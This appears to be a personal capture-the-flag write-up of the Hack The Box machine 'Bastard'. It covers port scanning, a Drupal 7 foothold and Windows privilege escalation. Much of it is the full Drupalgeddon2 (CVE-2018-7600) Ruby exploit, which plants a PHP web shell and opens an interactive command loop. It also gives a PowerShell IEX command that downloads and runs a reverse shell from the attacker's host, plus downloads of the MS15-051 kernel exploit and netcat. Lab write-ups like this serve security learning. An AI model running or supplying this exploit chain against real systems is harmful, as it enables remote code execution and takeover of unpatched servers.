Published on

HTB Bastard

Authors

Bastard

Enumeration

nmap all ports, full enumerate

nmap -p- -sV -A <ip> --open -o full-enumerate.nmap

└─$ nmap -p- -sV -A $IP --open -o full-enumerate.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-25 17:17 EDT
Nmap scan report for 10.129.148.223
Host is up (0.027s latency).
Not shown: 65532 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE VERSION
80/tcp    open  http    Microsoft IIS httpd 7.5
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Welcome to Bastard | Bastard
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/ 
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt 
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt 
|_/LICENSE.txt /MAINTAINERS.txt
|_http-generator: Drupal 7 (http://drupal.org)
|_http-server-header: Microsoft-IIS/7.5
135/tcp   open  msrpc   Microsoft Windows RPC
49154/tcp open  msrpc   Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 172.49 seconds

nmap (all identified TCP ports + default scripts & service versions)

nmap -p <1,2,3> -sV --script default --script http-methods --script http-headers <ip> -o <ip>-identified-ports.nmap

└─$ nmap -p 80,135,49154 -sV --script default --script http-methods --script http-headers $IP -o identified-ports.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-25 17:23 EDT
Nmap scan report for 10.129.148.223
Host is up (0.033s latency).

PORT      STATE SERVICE VERSION
80/tcp    open  http    Microsoft IIS httpd 7.5
| http-headers: 
|   Cache-Control: no-cache, must-revalidate
|   Content-Length: 0
|   Content-Type: text/html; charset=utf-8
|   Content-Language: en
|   Expires: Sun, 19 Nov 1978 05:00:00 GMT
|   Server: Microsoft-IIS/7.5
|   X-Powered-By: PHP/5.3.28
|   X-Content-Type-Options: nosniff
|   X-Frame-Options: SAMEORIGIN
|   X-Generator: Drupal 7 (http://drupal.org)
|   X-Powered-By: ASP.NET
|   Date: Tue, 25 Jul 2023 21:24:17 GMT
|   Connection: close
|   
|_  (Request type: HEAD)
|_http-title: Welcome to Bastard | Bastard
| http-methods: 
|_  Potentially risky methods: TRACE
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/ 
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt 
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt 
|_/LICENSE.txt /MAINTAINERS.txt
|_http-generator: Drupal 7 (http://drupal.org)
|_http-server-header: Microsoft-IIS/7.5
135/tcp   open  msrpc   Microsoft Windows RPC
49154/tcp open  msrpc   Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 85.84 seconds

nmap (vuln scan)

nmap -p <1,2,3> --script vuln <ip> -o <ip>-vuln.nmap

└─$ nmap -p 80,135,49154 --script vuln $IP -o vuln.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-25 17:26 EDT
Nmap scan report for 10.129.148.223
Host is up (0.046s latency).

PORT      STATE SERVICE
80/tcp    open  http
|_http-vuln-cve2014-3704: ERROR: Script execution failed (use -d to debug)
| http-csrf: 
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=10.129.148.223
|   Found the following possible CSRF vulnerabilities: 
|     
|     Path: http://10.129.148.223:80/
|     Form id: user-login-form
|     Form action: /node?destination=node
|     
|     Path: http://10.129.148.223:80/node?destination=node
|     Form id: user-login-form
|     Form action: /node?destination=node
|     
|     Path: http://10.129.148.223:80/user/password
|     Form id: user-pass
|     Form action: /user/password
|     
|     Path: http://10.129.148.223:80/user/register
|     Form id: user-register-form
|     Form action: /user/register
|     
|     Path: http://10.129.148.223:80/user/
|     Form id: user-login
|     Form action: /user/
|     
|     Path: http://10.129.148.223:80/user
|     Form id: user-login
|_    Form action: /user
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
135/tcp   open  msrpc
49154/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 241.37 seconds

Port Enumeration

**Port 80

  • drual 7.54

Exploitation

**********Port 80

Foothold

  1. searchsploit Drupal
  2. admin account exists
Untitled
  1. Googled drual 7 exploit and came across this: https://www.exploit-db.com/exploits/44449
  2. Felt confident about it immediately because it is EDB verified
  3. Ran it as a .rb (ruby) file, so ./44449rb http://10.129.148.223/ and got an iis shell
  • code

    #!/usr/bin/env ruby
    #
    # [CVE-2018-7600] Drupal <= 8.5.0 / <= 8.4.5 / <= 8.3.8 / 7.23 <= 7.57 - 'Drupalgeddon2' (SA-CORE-2018-002) ~ https://github.com/dreadlocked/Drupalgeddon2/
    #
    # Authors:
    # - Hans Topo ~ https://github.com/dreadlocked // https://twitter.com/_dreadlocked
    # - g0tmi1k   ~ https://blog.g0tmi1k.com/ // https://twitter.com/g0tmi1k
    #
    
    require 'base64'
    require 'json'
    require 'net/http'
    require 'openssl'
    require 'readline'
    require 'highline/import'
    
    # Settings - Try to write a PHP to the web root?
    try_phpshell = true
    # Settings - General/Stealth
    $useragent = "drupalgeddon2"
    webshell = "shell.php"
    # Settings - Proxy information (nil to disable)
    $proxy_addr = nil
    $proxy_port = 8080
    
    # Settings - Payload (we could just be happy without this PHP shell, by using just the OS shell - but this is 'better'!)
    bashcmd = "<?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }"
    bashcmd = "echo " + Base64.strict_encode64(bashcmd) + " | base64 -d"
    
    # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    
    # Function http_request <url> [type] [data]
    def http_request(url, type="get", payload="", cookie="")
      puts verbose("HTTP - URL : #{url}") if $verbose
      puts verbose("HTTP - Type: #{type}") if $verbose
      puts verbose("HTTP - Data: #{payload}") if not payload.empty? and $verbose
    
      begin
        uri = URI(url)
        request = type =~ /get/? Net::HTTP::Get.new(uri.request_uri) : Net::HTTP::Post.new(uri.request_uri)
        request.initialize_http_header({"User-Agent" => $useragent})
        request.initialize_http_header("Cookie" => cookie) if not cookie.empty?
        request.body = payload if not payload.empty?
        return $http.request(request)
      rescue SocketError
        puts error("Network connectivity issue")
      rescue Errno::ECONNREFUSED => e
        puts error("The target is down ~ #{e.message}")
        puts error("Maybe try disabling the proxy (#{$proxy_addr}:#{$proxy_port})...") if $proxy_addr
      rescue Timeout::Error => e
        puts error("The target timed out ~ #{e.message}")
      end
    
      # If we got here, something went wrong.
      exit
    end
    
    # Function gen_evil_url <cmd> [method] [shell] [phpfunction]
    def gen_evil_url(evil, element="", shell=false, phpfunction="passthru")
      puts info("Payload: #{evil}") if not shell
      puts verbose("Element    : #{element}") if not shell and not element.empty? and $verbose
      puts verbose("PHP fn     : #{phpfunction}") if not shell and $verbose
    
      # Vulnerable parameters: #access_callback / #lazy_builder / #pre_render / #post_render
      # Check the version to match the payload
      if $drupalverion.start_with?("8") and element == "mail"
        # Method #1 - Drupal v8.x: mail, #post_render - HTTP 200
        url = $target + $clean_url + $form + "?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
        payload = "form_id=user_register_form&_drupal_ajax=1&mail[a][#post_render][]=" + phpfunction + "&mail[a][#type]=markup&mail[a][#markup]=" + evil
    
      elsif $drupalverion.start_with?("8") and element == "timezone"
        # Method #2 - Drupal v8.x: timezone, #lazy_builder - HTTP 500 if phpfunction=exec // HTTP 200 if phpfunction=passthru
        url = $target + $clean_url + $form + "?element_parents=timezone/timezone/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
        payload = "form_id=user_register_form&_drupal_ajax=1&timezone[a][#lazy_builder][]=" + phpfunction + "&timezone[a][#lazy_builder][][]=" + evil
    
        #puts warning("WARNING: May benefit to use a PHP web shell") if not try_phpshell and phpfunction != "passthru"
    
      elsif $drupalverion.start_with?("7") and element == "name"
        # Method #3 - Drupal v7.x: name, #post_render - HTTP 200
        url = $target + "#{$clean_url}#{$form}&name[%23post_render][]=" + phpfunction + "&name[%23type]=markup&name[%23markup]=" + evil
        payload = "form_id=user_pass&_triggering_element_name=name"
      end
    
      # Drupal v7.x needs an extra value from a form
      if $drupalverion.start_with?("7")
        response = http_request(url, "post", payload, $session_cookie)
    
        form_name = "form_build_id"
        puts verbose("Form name  : #{form_name}") if $verbose
    
        form_value = response.body.match(/input type="hidden" name="#{form_name}" value="(.*)"/).to_s.slice(/value="(.*)"/, 1).to_s.strip
        puts warning("WARNING: Didn't detect #{form_name}") if form_value.empty?
        puts verbose("Form value : #{form_value}") if $verbose
    
        url = $target + "#{$clean_url}file/ajax/name/%23value/" + form_value
        payload = "#{form_name}=#{form_value}"
      end
    
      return url, payload
    end
    
    # Function clean_result <input>
    def clean_result(input)
      #result = JSON.pretty_generate(JSON[response.body])
      #result = $drupalverion.start_with?("8")? JSON.parse(clean)[0]["data"] : clean
      clean = input.to_s.strip
    
      # PHP function: passthru
      # For: <payload>[{"command":"insert","method":"replaceWith","selector":null,"data":"\u003Cspan class=\u0022ajax-new-content\u0022\u003E\u003C\/span\u003E","settings":null}]
      clean.slice!(/\[{"command":".*}\]$/)
    
      # PHP function: exec
      # For: [{"command":"insert","method":"replaceWith","selector":null,"data":"<payload>\u003Cspan class=\u0022ajax-new-content\u0022\u003E\u003C\/span\u003E","settings":null}]
      #clean.slice!(/\[{"command":".*data":"/)
      #clean.slice!(/\\u003Cspan class=\\u0022.*}\]$/)
    
      # Newer PHP for an older Drupal
      # For: <b>Deprecated</b>:  assert(): Calling assert() with a string argument is deprecated in <b>/var/www/html/core/lib/Drupal/Core/Plugin/DefaultPluginManager.php</b> on line <b>151</b><br />
      #clean.slice!(/<b>.*<br \/>/)
    
      # Drupal v8.x Method #2 ~ timezone, #lazy_builder, passthru, HTTP 500
      # For: <b>Deprecated</b>:  assert(): Calling assert() with a string argument is deprecated in <b>/var/www/html/core/lib/Drupal/Core/Plugin/DefaultPluginManager.php</b> on line <b>151</b><br />
      clean.slice!(/The website encountered an unexpected error.*/)
    
      return clean
    end
    
    # Feedback when something goes right
    def success(text)
      # Green
      return "\e[#{32}m[+]\e[0m #{text}"
    end
    
    # Feedback when something goes wrong
    def error(text)
      # Red
      return "\e[#{31}m[-]\e[0m #{text}"
    end
    
    # Feedback when something may have issues
    def warning(text)
      # Yellow
      return "\e[#{33}m[!]\e[0m #{text}"
    end
    
    # Feedback when something doing something
    def action(text)
      # Blue
      return "\e[#{34}m[*]\e[0m #{text}"
    end
    
    # Feedback with helpful information
    def info(text)
      # Light blue
      return "\e[#{94}m[i]\e[0m #{text}"
    end
    
    # Feedback for the overkill
    def verbose(text)
      # Dark grey
      return "\e[#{90}m[v]\e[0m #{text}"
    end
    
    # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    
    def init_authentication()
      $uname = ask('Enter your username:  ') { |q| q.echo = false }
      $passwd = ask('Enter your password:  ') { |q| q.echo = false }
      $uname_field = ask('Enter the name of the username form field:  ') { |q| q.echo = true }
      $passwd_field = ask('Enter the name of the password form field:  ') { |q| q.echo = true }
      $login_path = ask('Enter your login path (e.g., user/login):  ') { |q| q.echo = true }
      $creds_suffix = ask('Enter the suffix eventually required after the credentials in the login HTTP POST request (e.g., &form_id=...):  ') { |q| q.echo = true }
    end
    
    def is_arg(args, param)
      args.each do |arg|
        if arg == param
          return true
        end
      end
      return false
    end
    
    # Quick how to use
    def usage()
      puts 'Usage: ruby drupalggedon2.rb <target> [--authentication] [--verbose]'
      puts 'Example for target that does not require authentication:'
      puts '       ruby drupalgeddon2.rb https://example.com'
      puts 'Example for target that does require authentication:'
      puts '       ruby drupalgeddon2.rb https://example.com --authentication'
    end
    
    # Read in values
    if ARGV.empty?
      usage()
      exit
    end
    
    $target = ARGV[0]
    init_authentication() if is_arg(ARGV, '--authentication')
    $verbose = is_arg(ARGV, '--verbose')
    
    # Check input for protocol
    $target = "http://#{$target}" if not $target.start_with?("http")
    # Check input for the end
    $target += "/" if not $target.end_with?("/")
    
    # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    
    # Banner
    puts action("--==[::#Drupalggedon2::]==--")
    puts "-"*80
    puts info("Target : #{$target}")
    puts info("Proxy  : #{$proxy_addr}:#{$proxy_port}") if $proxy_addr
    puts info("Write? : Skipping writing PHP web shell") if not try_phpshell
    puts "-"*80
    
    # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    
    # Setup connection
    uri = URI($target)
    $http = Net::HTTP.new(uri.host, uri.port, $proxy_addr, $proxy_port)
    
    # Use SSL/TLS if needed
    if uri.scheme == "https"
      $http.use_ssl = true
      $http.verify_mode = OpenSSL::SSL::VERIFY_NONE
    end
    
    $session_cookie = ''
    # If authentication required then login and get session cookie
    if $uname
      $payload = $uname_field + '=' + $uname + '&' + $passwd_field + '=' + $passwd + $creds_suffix
      response = http_request($target + $login_path, 'post', $payload, $session_cookie)
      if (response.code == '200' or response.code == '303') and not response.body.empty? and response['set-cookie']
        $session_cookie = response['set-cookie'].split('; ')[0]
        puts success("Logged in - Session Cookie : #{$session_cookie}")
      end
    
    end
    
    # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    
    # Try and get version
    $drupalverion = ""
    
    # Possible URLs
    url = [
      # --- changelog ---
      # Drupal v6.x / v7.x [200]
      $target + "CHANGELOG.txt",
      # Drupal v8.x [200]
      $target + "core/CHANGELOG.txt",
    
      # --- bootstrap ---
      # Drupal v7.x / v6.x [403]
      $target + "includes/bootstrap.inc",
      # Drupal v8.x [403]
      $target + "core/includes/bootstrap.inc",
    
      # --- database ---
      # Drupal v7.x / v6.x  [403]
      $target + "includes/database.inc",
      # Drupal v7.x [403]
      #$target + "includes/database/database.inc",
      # Drupal v8.x [403]
      #$target + "core/includes/database.inc",
    
      # --- landing page ---
      # Drupal v8.x / v7.x [200]
      $target,
    ]
    
    # Check all
    url.each do|uri|
      # Check response
      response = http_request(uri, 'get', '', $session_cookie)
    
      # Check header
      if response['X-Generator'] and $drupalverion.empty?
        header = response['X-Generator'].slice(/Drupal (.*) \(https:\/\/www.drupal.org\)/, 1).to_s.strip
    
        if not header.empty?
          $drupalverion = "#{header}.x" if $drupalverion.empty?
          puts success("Header : v#{header} [X-Generator]")
          puts verbose("X-Generator: #{response['X-Generator']}") if $verbose
        end
      end
    
      # Check request response, valid
      if response.code == "200"
        tmp = $verbose ?  "    [HTTP Size: #{response.size}]"  : ""
        puts success("Found  : #{uri}    (HTTP Response: #{response.code})#{tmp}")
    
        # Check to see if it says: The requested URL "http://<URL>" was not found on this server.
        puts warning("WARNING: Could be a false-positive [1-1], as the file could be reported to be missing") if response.body.downcase.include? "was not found on this server"
    
        # Check to see if it says: <h1 class="js-quickedit-page-title title page-title">Page not found</h1> <div class="content">The requested page could not be found.</div>
        puts warning("WARNING: Could be a false-positive [1-2], as the file could be reported to be missing") if response.body.downcase.include? "the requested page could not be found"
    
        # Only works for CHANGELOG.txt
        if uri.match(/CHANGELOG.txt/)
          # Check if valid. Source ~ https://api.drupal.org/api/drupal/core%21CHANGELOG.txt/8.5.x // https://api.drupal.org/api/drupal/CHANGELOG.txt/7.x
          puts warning("WARNING: Unable to detect keyword 'drupal.org'") if not response.body.downcase.include? "drupal.org"
    
          # Patched already? (For Drupal v8.4.x / v7.x)
          puts warning("WARNING: Might be patched! Found SA-CORE-2018-002: #{url}") if response.body.include? "SA-CORE-2018-002"
    
          # Try and get version from the file contents (For Drupal v8.4.x / v7.x)
          $drupalverion = response.body.match(/Drupal (.*),/).to_s.slice(/Drupal (.*),/, 1).to_s.strip
    
          # Blank if not valid
          $drupalverion = "" if not $drupalverion[-1] =~ /\d/
        end
    
        # Check meta tag
        if not response.body.empty?
          # For Drupal v8.x / v7.x
          meta = response.body.match(/<meta name="Generator" content="Drupal (.*) /)
          metatag = meta.to_s.slice(/meta name="Generator" content="Drupal (.*) \(http/, 1).to_s.strip
    
          if not metatag.empty?
            $drupalverion = "#{metatag}.x" if $drupalverion.empty?
            puts success("Metatag: v#{$drupalverion} [Generator]")
            puts verbose(meta.to_s) if $verbose
          end
        end
    
        # Done! ...if a full known version, else keep going... may get lucky later!
        break if not $drupalverion.end_with?("x") and not $drupalverion.empty?
      end
    
      # Check request response, not allowed
      if response.code == "403" and $drupalverion.empty?
        tmp = $verbose ?  "    [HTTP Size: #{response.size}]"  : ""
        puts success("Found  : #{uri}    (HTTP Response: #{response.code})#{tmp}")
    
        if $drupalverion.empty?
          # Try and get version from the URL (For Drupal v.7.x/v6.x)
          $drupalverion = uri.match(/includes\/database.inc/)? "7.x/6.x" : "" if $drupalverion.empty?
          # Try and get version from the URL (For Drupal v8.x)
          $drupalverion = uri.match(/core/)? "8.x" : "" if $drupalverion.empty?
    
          # If we got something, show it!
          puts success("URL    : v#{$drupalverion}?") if not $drupalverion.empty?
        end
    
      else
        tmp = $verbose ?  "    [HTTP Size: #{response.size}]"  : ""
        puts warning("MISSING: #{uri}    (HTTP Response: #{response.code})#{tmp}")
      end
    end
    
    # Feedback
    if not $drupalverion.empty?
      status = $drupalverion.end_with?("x")? "?" : "!"
      puts success("Drupal#{status}: v#{$drupalverion}")
    else
      puts error("Didn't detect Drupal version")
      exit
    end
    
    if not $drupalverion.start_with?("8") and not $drupalverion.start_with?("7")
      puts error("Unsupported Drupal version (#{$drupalverion})")
      exit
    end
    puts "-"*80
    
    # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    
    # The attack vector to use
    $form = $drupalverion.start_with?("8")? "user/register" : "user/password"
    
    # Make a request, check for form
    url = "#{$target}?q=#{$form}"
    puts action("Testing: Form   (#{$form})")
    response = http_request(url, 'get', '', $session_cookie)
    if response.code == "200" and not response.body.empty?
      puts success("Result : Form valid")
    elsif response['location']
      puts error("Target is NOT exploitable [5] (HTTP Response: #{response.code})...   Could try following the redirect: #{response['location']}")
      exit
    elsif response.code == "404"
      puts error("Target is NOT exploitable [4] (HTTP Response: #{response.code})...   Form disabled?")
      exit
    elsif response.code == "403"
      puts error("Target is NOT exploitable [3] (HTTP Response: #{response.code})...   Form blocked?")
      exit
    elsif response.body.empty?
      puts error("Target is NOT exploitable [2] (HTTP Response: #{response.code})...   Got an empty response")
      exit
    else
      puts warning("WARNING: Target may NOT exploitable [1] (HTTP Response: #{response.code})")
    end
    
    puts "- "*40
    
    # Make a request, check for clean URLs status ~ Enabled: /user/register   Disabled: /?q=user/register
    # Drupal v7.x needs it anyway
    $clean_url = $drupalverion.start_with?("8")? "" : "?q="
    url = "#{$target}#{$form}"
    
    puts action("Testing: Clean URLs")
    response = http_request(url, 'get', '', $session_cookie)
    if response.code == "200" and not response.body.empty?
      puts success("Result : Clean URLs enabled")
    else
      $clean_url = "?q="
      puts warning("Result : Clean URLs disabled (HTTP Response: #{response.code})")
      puts verbose("response.body: #{response.body}") if $verbose
    
      # Drupal v8.x needs it to be enabled
      if $drupalverion.start_with?("8")
        puts error("Sorry dave... Required for Drupal v8.x... So... NOPE NOPE NOPE")
        exit
      elsif $drupalverion.start_with?("7")
        puts info("Isn't an issue for Drupal v7.x")
      end
    end
    puts "-"*80
    
    # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    
    # Values in gen_evil_url for Drupal v8.x
    elementsv8 = [
      "mail",
      "timezone",
    ]
    # Values in gen_evil_url for Drupal v7.x
    elementsv7 = [
      "name",
    ]
    
    elements = $drupalverion.start_with?("8") ? elementsv8 : elementsv7
    
    elements.each do|e|
      $element = e
    
      # Make a request, testing code execution
      puts action("Testing: Code Execution   (Method: #{$element})")
    
      # Generate a random string to see if we can echo it
      random = (0...8).map { (65 + rand(26)).chr }.join
      url, payload = gen_evil_url("echo #{random}", e)
    
      response = http_request(url, "post", payload, $session_cookie)
      if (response.code == "200" or response.code == "500") and not response.body.empty?
        result = clean_result(response.body)
        if not result.empty?
          puts success("Result : #{result}")
    
          if response.body.match(/#{random}/)
            puts success("Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!")
            break
    
          else
            puts warning("WARNING: Target MIGHT be exploitable [4]...   Detected output, but didn't MATCH expected result")
          end
    
        else
          puts warning("WARNING: Target MIGHT be exploitable [3] (HTTP Response: #{response.code})...   Didn't detect any INJECTED output (disabled PHP function?)")
        end
    
        puts warning("WARNING: Target MIGHT be exploitable [5]...   Blind attack?") if response.code == "500"
    
        puts verbose("response.body: #{response.body}") if $verbose
        puts verbose("clean_result: #{result}") if not result.empty? and $verbose
    
      elsif response.body.empty?
        puts error("Target is NOT exploitable [2] (HTTP Response: #{response.code})...   Got an empty response")
        exit
    
      else
        puts error("Target is NOT exploitable [1] (HTTP Response: #{response.code})")
        puts verbose("response.body: #{response.body}") if $verbose
        exit
      end
    
      puts "- "*40 if e != elements.last
    end
    
    puts "-"*80
    
    # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    
    # Location of web shell & used to signal if using PHP shell
    webshellpath = ""
    prompt = "drupalgeddon2"
    
    # Possibles paths to try
    paths = [
      # Web root
      "",
      # Required for setup
      "sites/default/",
      "sites/default/files/",
      # They did something "wrong", chmod -R 0777 .
      #"core/",
    ]
    # Check all (if doing web shell)
    paths.each do|path|
      # Check to see if there is already a file there
      puts action("Testing: Existing file   (#{$target}#{path}#{webshell})")
    
      response = http_request("#{$target}#{path}#{webshell}", 'get', '', $session_cookie)
      if response.code == "200"
        puts warning("Response: HTTP #{response.code} // Size: #{response.size}.   ***Something could already be there?***")
      else
        puts info("Response: HTTP #{response.code} // Size: #{response.size}")
      end
    
      puts "- "*40
    
      # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    
      folder = path.empty? ? "./" : path
      puts action("Testing: Writing To Web Root   (#{folder})")
    
      # Merge locations
      webshellpath = "#{path}#{webshell}"
    
      # Final command to execute
      cmd = "#{bashcmd} | tee #{webshellpath}"
    
      # By default, Drupal v7.x disables the PHP engine using: ./sites/default/files/.htaccess
      # ...however, Drupal v8.x disables the PHP engine using: ./.htaccess
      if path == "sites/default/files/"
        puts action("Moving : ./sites/default/files/.htaccess")
        cmd = "mv -f #{path}.htaccess #{path}.htaccess-bak; #{cmd}"
      end
    
      # Generate evil URLs
      url, payload = gen_evil_url(cmd, $element)
      # Make the request
      response = http_request(url, "post", payload, $session_cookie)
      # Check result
      if response.code == "200" and not response.body.empty?
        # Feedback
        result = clean_result(response.body)
        puts success("Result : #{result}") if not result.empty?
    
        # Test to see if backdoor is there (if we managed to write it)
        response = http_request("#{$target}#{webshellpath}", "post", "c=hostname", $session_cookie)
        if response.code == "200" and not response.body.empty?
          puts success("Very Good News Everyone! Wrote to the web root! Waayheeeey!!!")
          break
    
        elsif response.code == "404"
          puts warning("Target is NOT exploitable [2-4] (HTTP Response: #{response.code})...   Might not have write access?")
    
        elsif response.code == "403"
          puts warning("Target is NOT exploitable [2-3] (HTTP Response: #{response.code})...   May not be able to execute PHP from here?")
    
        elsif response.body.empty?
          puts warning("Target is NOT exploitable [2-2] (HTTP Response: #{response.code})...   Got an empty response back")
    
        else
          puts warning("Target is NOT exploitable [2-1] (HTTP Response: #{response.code})")
          puts verbose("response.body: #{response.body}") if $verbose
        end
    
      elsif response.code == "500" and not response.body.empty?
        puts warning("Target MAY of been exploited... Bit of blind leading the blind")
        break
    
      elsif response.code == "404"
        puts warning("Target is NOT exploitable [1-4] (HTTP Response: #{response.code})...   Might not have write access?")
    
      elsif response.code == "403"
        puts warning("Target is NOT exploitable [1-3] (HTTP Response: #{response.code})...   May not be able to execute PHP from here?")
    
      elsif response.body.empty?
        puts warning("Target is NOT exploitable [1-2] (HTTP Response: #{response.code}))...   Got an empty response back")
    
      else
        puts warning("Target is NOT exploitable [1-1] (HTTP Response: #{response.code})")
        puts verbose("response.body: #{response.body}") if $verbose
      end
    
      webshellpath = ""
    
      puts "- "*40 if path != paths.last
    end if try_phpshell
    
    # If a web path was set, we exploited using PHP!
    if not webshellpath.empty?
      # Get hostname for the prompt
      prompt = response.body.to_s.strip if response.code == "200" and not response.body.empty?
    
      puts "-"*80
      puts info("Fake PHP shell:   curl '#{$target}#{webshellpath}' -d 'c=hostname'")
    # Should we be trying to call commands via PHP?
    elsif try_phpshell
      puts warning("FAILED : Couldn't find a writeable web path")
      puts "-"*80
      puts action("Dropping back to direct OS commands")
    end
    
    # Stop any CTRL + C action ;)
    trap("INT", "SIG_IGN")
    
    # Forever loop
    loop do
      # Default value
      result = "~ERROR~"
    
      # Get input
      command = Readline.readline("#{prompt}>> ", true).to_s
    
      # Check input
      puts warning("WARNING: Detected an known bad character (>)") if command =~ />/
    
      # Exit
      break if command == "exit"
    
      # Blank link?
      next if command.empty?
    
      # If PHP web shell
      if not webshellpath.empty?
        # Send request
        result = http_request("#{$target}#{webshellpath}", "post", "c=#{command}", $session_cookie).body
      # Direct OS commands
      else
        url, payload = gen_evil_url(command, $element, true)
        response = http_request(url, "post", payload, $session_cookie)
    
        # Check result
        if not response.body.empty?
          result = clean_result(response.body)
        end
      end
    
      # Feedback
      puts result
    end
    

Untitled

  1. So in this “drupalgeddon2" is pretty cool, but I literally can’t cd or anything so going to try this instead: https://github.com/pimps/CVE-2018-7600
    1. The command is python3 cve-2018-7600.py <target> -c <command>
  2. So I got a reverse shell from cp nishang/Shells/Invoke-PowerShellTcp.ps1 ~/Lab/HTB/Bastard now we have a reverse shell in our box directory, but we need to specify the location at the bottom:
.... #random code

    }
}

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.3 -Port 9001
  1. This tells the reverse shell to listen to our IP and port
  2. Then the classic → python3 -m http.server 8080
    1. nc -lvnp 9001
    2. python3 cve-2018-7600.py http://10.129.148.223 -c "powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.16.3:8080/Invoke-PowerShellTcp.ps1')"
  3. And bobs your uncle, we have a shell that actually has a drive C label:

Untitled

Root

  1. sysinfo shows us the OS Name is a windows server from 2008 and there are no hotfixes, so that likely means there is some sort of kernel exploit
  • sysinfo

    Host Name:                 BASTARD
    OS Name:                   Microsoft Windows Server 2008 R2 Datacenter 
    OS Version:                6.1.7600 N/A Build 7600
    OS Manufacturer:           Microsoft Corporation
    OS Configuration:          Standalone Server
    OS Build Type:             Multiprocessor Free
    Registered Owner:          Windows User
    Registered Organization:   
    Product ID:                55041-402-3582622-84461
    Original Install Date:     18/3/2017, 7:04:46 ??
    System Boot Time:          26/7/2023, 12:08:17 ??
    System Manufacturer:       VMware, Inc.
    System Model:              VMware Virtual Platform
    System Type:               x64-based PC
    Processor(s):              2 Processor(s) Installed.
                               [01]: AMD64 Family 25 Model 1 Stepping 1 AuthenticAMD ~2445 Mhz
                               [02]: AMD64 Family 25 Model 1 Stepping 1 AuthenticAMD ~2445 Mhz
    BIOS Version:              Phoenix Technologies LTD 6.00, 12/11/2020
    Windows Directory:         C:\Windows
    System Directory:          C:\Windows\system32
    Boot Device:               \Device\HarddiskVolume1
    System Locale:             el;Greek
    Input Locale:              en-us;English (United States)
    Time Zone:                 (UTC+02:00) Athens, Bucharest, Istanbul
    Total Physical Memory:     2.047 MB
    Available Physical Memory: 1.470 MB
    Virtual Memory: Max Size:  4.095 MB
    Virtual Memory: Available: 3.442 MB
    Virtual Memory: In Use:    653 MB
    Page File Location(s):     C:\pagefile.sys
    Domain:                    HTB
    Logon Server:              N/A
    Hotfix(s):                 N/A
    Network Card(s):           1 NIC(s) Installed.
                               [01]: Intel(R) PRO/1000 MT Network Connection
                                     Connection Name: Local Area Connection
                                     DHCP Enabled:    Yes
                                     DHCP Server:     10.129.0.1
                                     IP address(es)
                                     [01]: 10.129.148.223
    
  1. Then we can do a whoami /priv which is kind of like a sudo -l because it will show us the privileges we have as the user we are, which we can use to privilege escalate
  • whoami /priv

    PRIVILEGES INFORMATION
    ----------------------
    
    Privilege Name          Description                               State  
    ======================= ========================================= =======
    SeChangeNotifyPrivilege Bypass traverse checking                  Enabled
    SeImpersonatePrivilege  Impersonate a client after authentication Enabled
    SeCreateGlobalPrivilege Create global objects                     Enabled
    
  1. Also can get Sherlock over, I made a tmp directory in C:\tmp and called sherlock.ps1 as so: echo IEX(New-Object Net.WebClient).downloadString('http://10.10.16.3:8080/Sherlock.ps1') | Out-File -FilePath sherlock.ps1

Also apparently you can do echo IEX(New-Object Net.WebClient).downloadString('http://10.10.16.3:8080/Sherlock.ps1') | powershell -noprofile - to get it to execute without reading profile restrictions, that is what IPPsec did but it did not work for me.

  1. Anyways, we know it is most likely vulnerable to MS15-051 because of how old this machine is. (vanilla version of windows in 2008, usually vulnerable to MS15's or MS16's)
  2. Googled “MS15-051 proof of concept”

https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS15-051

Downloaded from “MS15-051-KB3045171.zip” directory and grabbed ms15-051x64.exe

(New-Object System.Net.WebClient).DownloadFile('http://10.10.16.3:8080/ms15-051x64.exe', 'C:\tmp\ms15-051x64.exe')

ms15

  1. SO, when you run this script with .\ms15-051x64.exe it gives you root only from running the script, it does not persist. So I figured we could pivot it into a shell with the root permissions so it persists!
  2. To set up pivot functionality in our C:\tmp directory, we need to install a nc64.exe here as well. So I downloaded it from github and brought it over as: (New-Object System.Net.WebClient).DownloadFile('http://10.10.16.3:8080/nc64.exe', 'C:\tmp\nc64.exe')
